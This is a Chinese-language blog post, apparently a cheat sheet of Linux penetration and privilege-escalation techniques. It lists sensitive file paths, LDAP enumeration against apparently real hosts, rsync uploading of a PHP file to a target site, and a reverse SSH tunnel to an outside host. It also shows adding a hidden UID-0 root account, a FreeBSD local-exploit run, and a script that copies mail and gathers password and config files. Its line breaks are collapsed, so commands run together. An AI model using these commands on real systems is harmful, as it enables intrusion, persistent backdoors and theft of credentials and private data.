Linux渗透与提权：技巧总结篇

本文为Linux渗透与提权技巧总结篇，旨在收集各种Linux渗透技巧与提权版本，方便各位同学在日后的渗透测试中能够事半功倍。

Linux 系统下的一些常见路径：

/etc/passwd/etc/shadow/etc/fstab/etc/host.conf/etc/motd/etc/ld.so.conf/var/www/htdocs/index.php/var/www/conf/httpd.conf/var/www/htdocs/index.html/var/httpd/conf/php.ini/var/httpd/htdocs/index.php/var/httpd/conf/httpd.conf/var/httpd/htdocs/index.html/var/httpd/conf/php.ini/var/www/index.html/var/www/index.php/opt/www/conf/httpd.conf/opt/www/htdocs/index.php/opt/www/htdocs/index.html/usr/local/apache/htdocs/index.html/usr/local/apache/htdocs/index.php/usr/local/apache2/htdocs/index.html/usr/local/apache2/htdocs/index.php/usr/local/httpd2.2/htdocs/index.php/usr/local/httpd2.2/htdocs/index.html/tmp/apache/htdocs/index.html/tmp/apache/htdocs/index.php/etc/httpd/htdocs/index.php/etc/httpd/conf/httpd.conf/etc/httpd/htdocs/index.html/www/php/php.ini/www/php4/php.ini/www/php5/php.ini/www/conf/httpd.conf/www/htdocs/index.php/www/htdocs/index.html/usr/local/httpd/conf/httpd.conf/apache/apache/conf/httpd.conf/apache/apache2/conf/httpd.conf/etc/apache/apache.conf/etc/apache2/apache.conf/etc/apache/httpd.conf/etc/apache2/httpd.conf/etc/apache2/vhosts.d/00_default_vhost.conf/etc/apache2/sites-available/default/etc/phpmyadmin/config.inc.php/etc/mysql/my.cnf/etc/httpd/conf.d/php.conf/etc/httpd/conf.d/httpd.conf/etc/httpd/logs/error_log/etc/httpd/logs/error.log/etc/httpd/logs/access_log/etc/httpd/logs/access.log/home/apache/conf/httpd.conf/home/apache2/conf/httpd.conf/var/log/apache/error_log/var/log/apache/error.log/var/log/apache/access_log/var/log/apache/access.log/var/log/apache2/error_log/var/log/apache2/error.log/var/log/apache2/access_log/var/log/apache2/access.log/var/www/logs/error_log/var/www/logs/error.log/var/www/logs/access_log/var/www/logs/access.log/usr/local/apache/logs/error_log/usr/local/apache/logs/error.log/usr/local/apache/logs/access_log/usr/local/apache/logs/access.log/var/log/error_log/var/log/error.log/var/log/access_log/var/log/access.log/usr/local/apache/logs/access_logaccess_log.old/usr/local/apache/logs/error_logerror_log.old/etc/php.ini/bin/php.ini/etc/init.d/httpd/etc/init.d/mysql/etc/httpd/php.ini/usr/lib/php.ini/usr/lib/php/php.ini/usr/local/etc/php.ini/usr/local/lib/php.ini/usr/local/php/lib/php.ini/usr/local/php4/lib/php.ini/usr/local/php4/php.ini/usr/local/php4/lib/php.ini/usr/local/php5/lib/php.ini/usr/local/php5/etc/php.ini/usr/local/php5/php5.ini/usr/local/apache/conf/php.ini/usr/local/apache/conf/httpd.conf/usr/local/apache2/conf/httpd.conf/usr/local/apache2/conf/php.ini/etc/php4.4/fcgi/php.ini/etc/php4/apache/php.ini/etc/php4/apache2/php.ini/etc/php5/apache/php.ini/etc/php5/apache2/php.ini/etc/php/php.ini/etc/php/php4/php.ini/etc/php/apache/php.ini/etc/php/apache2/php.ini/web/conf/php.ini/usr/local/Zend/etc/php.ini/opt/xampp/etc/php.ini/var/local/www/conf/php.ini/var/local/www/conf/httpd.conf/etc/php/cgi/php.ini/etc/php4/cgi/php.ini/etc/php5/cgi/php.ini/php5/php.ini/php4/php.ini/php/php.ini/PHP/php.ini/apache/php/php.ini/xampp/apache/bin/php.ini/xampp/apache/conf/httpd.conf/NetServer/bin/stable/apache/php.ini/home2/bin/stable/apache/php.ini/home/bin/stable/apache/php.ini/var/log/mysql/mysql-bin.log/var/log/mysql.log/var/log/mysqlderror.log/var/log/mysql/mysql.log/var/log/mysql/mysql-slow.log/var/mysql.log/var/lib/mysql/my.cnf/usr/local/mysql/my.cnf/usr/local/mysql/bin/mysql/etc/mysql/my.cnf/etc/my.cnf/usr/local/cpanel/logs/usr/local/cpanel/logs/stats_log/usr/local/cpanel/logs/access_log/usr/local/cpanel/logs/error_log/usr/local/cpanel/logs/license_log/usr/local/cpanel/logs/login_log/usr/local/cpanel/logs/stats_log/usr/local/share/examples/php4/php.ini/usr/local/share/examples/php/php.ini/usr/local/tomcat5527/bin/version.sh/usr/share/tomcat6/bin/startup.sh/usr/tomcat6/bin/startup.sh

liunx 相关提权渗透技巧总结，一、ldap 渗透技巧：

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.confbase ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:

1.cat /etc/nsswitch

看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.confbase ou=People,dc=unix-center,dc=net

找到ou,dc,dc设置

3.查找管理员信息

匿名方式

ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

有密码形式

ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

4.查找10条用户记录

ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:

1.返回所有的属性

ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"version: 1dn: dc=ruc,dc=edu,dc=cndc: rucobjectClass: domaindn: uid=manager,dc=ruc,dc=edu,dc=cnuid: managerobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: managercn: managerdn: uid=superadmin,dc=ruc,dc=edu,dc=cnuid: superadminobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: superadmincn: superadmindn: uid=admin,dc=ruc,dc=edu,dc=cnuid: adminobjectClass: inetOrgPersonobjectClass: organizationalPersonobjectClass: personobjectClass: topsn: admincn: admindn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cnuid: dcp_anonymousobjectClass: topobjectClass: personobjectClass: organizationalPersonobjectClass: inetOrgPersonsn: dcp_anonymouscn: dcp_anonymous

2.查看基类

bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more version: 1 dn: dc=ruc,dc=edu,dc=cn dc: ruc objectClass: domain

3.查找

bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"version: 1dn:objectClass: topnamingContexts: dc=ruc,dc=edu,dc=cnsupportedExtension: 2.16.840.1.113730.3.5.7supportedExtension: 2.16.840.1.113730.3.5.8supportedExtension: 1.3.6.1.4.1.4203.1.11.1supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25supportedExtension: 2.16.840.1.113730.3.5.3supportedExtension: 2.16.840.1.113730.3.5.5supportedExtension: 2.16.840.1.113730.3.5.6supportedExtension: 2.16.840.1.113730.3.5.4supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24supportedExtension: 1.3.6.1.4.1.1466.20037supportedExtension: 1.3.6.1.4.1.4203.1.11.3supportedControl: 2.16.840.1.113730.3.4.2supportedControl: 2.16.840.1.113730.3.4.3supportedControl: 2.16.840.1.113730.3.4.4supportedControl: 2.16.840.1.113730.3.4.5supportedControl: 1.2.840.113556.1.4.473supportedControl: 2.16.840.1.113730.3.4.9supportedControl: 2.16.840.1.113730.3.4.16supportedControl: 2.16.840.1.113730.3.4.15supportedControl: 2.16.840.1.113730.3.4.17supportedControl: 2.16.840.1.113730.3.4.19supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1supportedControl: 2.16.840.1.113730.3.4.14supportedControl: 1.3.6.1.4.1.1466.29539.12supportedControl: 2.16.840.1.113730.3.4.12supportedControl: 2.16.840.1.113730.3.4.18supportedControl: 2.16.840.1.113730.3.4.13supportedSASLMechanisms: EXTERNALsupportedSASLMechanisms: DIGEST-MD5supportedLDAPVersion: 2supportedLDAPVersion: 3vendorName: Sun Microsystems, Inc.vendorVersion: Sun-Java(tm)-System-Directory/6.2dataversion: 020090516011411netscapemdsuffix: cn=ldap://dc=webA:389supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHAsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHAsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHAsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHAsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHAsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHAsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHAsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHAsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

<strong> </strong>

liunx 相关提权渗透技巧总结，二、NFS 渗透技巧：

列举IP：

showmount -e ip

liunx 相关提权渗透技巧总结，三、rsync渗透技巧：

1.查看rsync服务器上的列表：

rsync 210.51.X.X::financeimg_financeautoimg_autohtml_cmsimg_cmsent_cmsent_imgceshires_imgres_img_c2chipchip_c2ent_icmsgamesgamesimgmediamediaimgfashionres-fashionres-fotaobao-homeres-taobao-homehouseres-houseres-homeres-edures-entres-labsres-newsres-phtvres-mediahomeedunewsres-book

看相应的下级目录(注意一定要在目录后面添加上/)

rsync 210.51.X.X::htdocs_app/rsync 210.51.X.X::auto/rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件

rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)

rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/http://app.finance.xxx.com/warn/nothack.txt

liunx 相关提权渗透技巧总结，四、squid渗透技巧：

nc -vv 91ri.org 80GET HTTP://www.sina.com / HTTP/1.0GET HTTP://WWW.sina.com:22 / HTTP/1.0

liunx 相关提权渗透技巧总结，五、SSH端口转发：

ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

liunx 相关提权渗透技巧总结，六、joomla渗透小技巧：

确定版本：

index.php?option=com_content&amp;view=article&amp;id=30:what-languages-are-supported-by-joomla-15&amp;catid=32:languages&amp;Itemid=47

重新设置密码：

index.php?option=com_user&amp;view=reset&amp;layout=confirm

liunx 相关提权渗透技巧总结，七、Linux添加UID为0的root用户：

useradd -o -u 0 nothack

liunx 相关提权渗透技巧总结，八、freebsd本地提权：

[argp@julius ~]$ uname -rsi* freebsd 7.3-RELEASE GENERIC* [argp@julius ~]$ sysctl vfs.usermount* vfs.usermount: 1* [argp@julius ~]$ id* uid=1001(argp) gid=1001(argp) groups=1001(argp)* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex* [argp@julius ~]$ ./nfs_mount_ex*calling nmount()

tar 文件夹打包：

1、tar打包：

tar -cvf /home/public_html/*.tar /home/public_html/--exclude=排除文件*.gif  排除目录 /xx/xx/*alzip打包(韩国) alzip -a D:\WEB d:\web*.rar

{

注：

关于tar的打包方式,linux不以扩展名来决定文件类型。

若压缩的话tar -ztf *.tar.gz 查看压缩包里内容 tar -zxf *.tar.gz 解压

那么用这条比较好

tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*

}

系统信息收集：

for linux：#!/bin/bashecho #######geting sysinfo####echo ######usage: ./getinfo.sh &gt;/tmp/sysinfo.txtecho #######basic infomation##cat /proc/meminfoechocat /proc/cpuinfoechorpm -qa 2&gt;/dev/null######stole the mail......######cp -a /var/mail /tmp/getmail 2&gt;/dev/nullecho 'u'r id is' `id`echo ###atq&amp;crontab#####atqcrontab -lecho #####about var#####setecho #####about network#######this is then point in pentest,but i am a new bird,so u need to add some in itcat /etc/hostshostnameipconfig -aarp -vecho ########user####cat /etc/passwd|grep -i shecho ######service####chkconfig --listfor i in {oracle,mysql,tomcat,samba,apache,ftp}cat /etc/passwd|grep -i $idonelocate passwd &gt;/tmp/password 2&gt;/dev/nullsleep 5locate password &gt;&gt;/tmp/password 2&gt;/dev/nullsleep 5locate conf &gt;/tmp/sysconfig 2&gt;dev/nullsleep 5locate config &gt;&gt;/tmp/sysconfig 2&gt;/dev/nullsleep 5###maybe can use "tree /"###echo ##packing up#########tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfigrm -rf /tmp/getmail /tmp/password /tmp/sysconfig

下一章linux渗透精讲。今天要是不发就不写了

Linux渗透与提权：技巧总结篇相关推荐

LINUX渗透与提权总结
本文为Linux渗透与提权技巧总结篇,旨在收集各种Linux渗透技巧与提权版本,方便各位同学在日后的渗透测试中能够事半功倍. Linux 系统下的一些常见路径: 001 /etc/passwd 002 ...
Kali Linux渗透测试之提权（二）——WCE、Fgdump、Mimikatz
1. Windows身份认证的过程在登录目标系统时,会将输入的密码进行lmhash和nthash加密: 然后将加密后的密码与SAM账户数据库进行比对,如果比对匹配,则成功登录操作系统: 如果是远端的 ...
103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录一.LINUX 内核漏洞提权 1.漏洞背景: 2.漏洞利用: (1)实验环境 (2)靶机链接 (3)突破MIME ...
Linux提权之suid篇
Linux提权之suid篇不知攻,焉知防一个在安服路上摸索的大三生,记录平时学习笔记 suid前言: 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义. ...
searchsploit工具(exploit-db.com)使用实例 (linux 内核漏洞提权) exploitdb
获取 root 权限是 Linux 漏洞利用的终极目标.跟 Windows 中的 System 用户一样,root 用户拥有对操作系统的所有管理权限.在渗透中,有时候成功利用某些漏洞只会获取一个低权限 ...
内网渗透常用提权方式总结
文章目录前言内网提权的常用方法一.Windows系统内核溢出漏洞提权 1.手动查找系统潜在漏洞 2.使用Windows-Exploit-Suggester 3.使用sherlock 脚本 4.还 ...
渗透测试Metasploit框架体验（5.理解MSF后渗透-之提权）
1.目标机器权限提升权限提升(privilege escalation) : 攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权.Windo ...
Linux下SUID提权方法
目录 SUID 1. 利用find文件提权 vulnhub靶机DC-1渗透-SUID提权 SUID SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户 ...
渗透测试——提权方式总结
(内容整理自网络) 一. 什么是提权提权就是通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局. Windows:User >> System Linux:User >&g ...

Linux渗透与提权：技巧总结篇

Linux渗透与提权：技巧总结篇相关推荐

最新文章

热门文章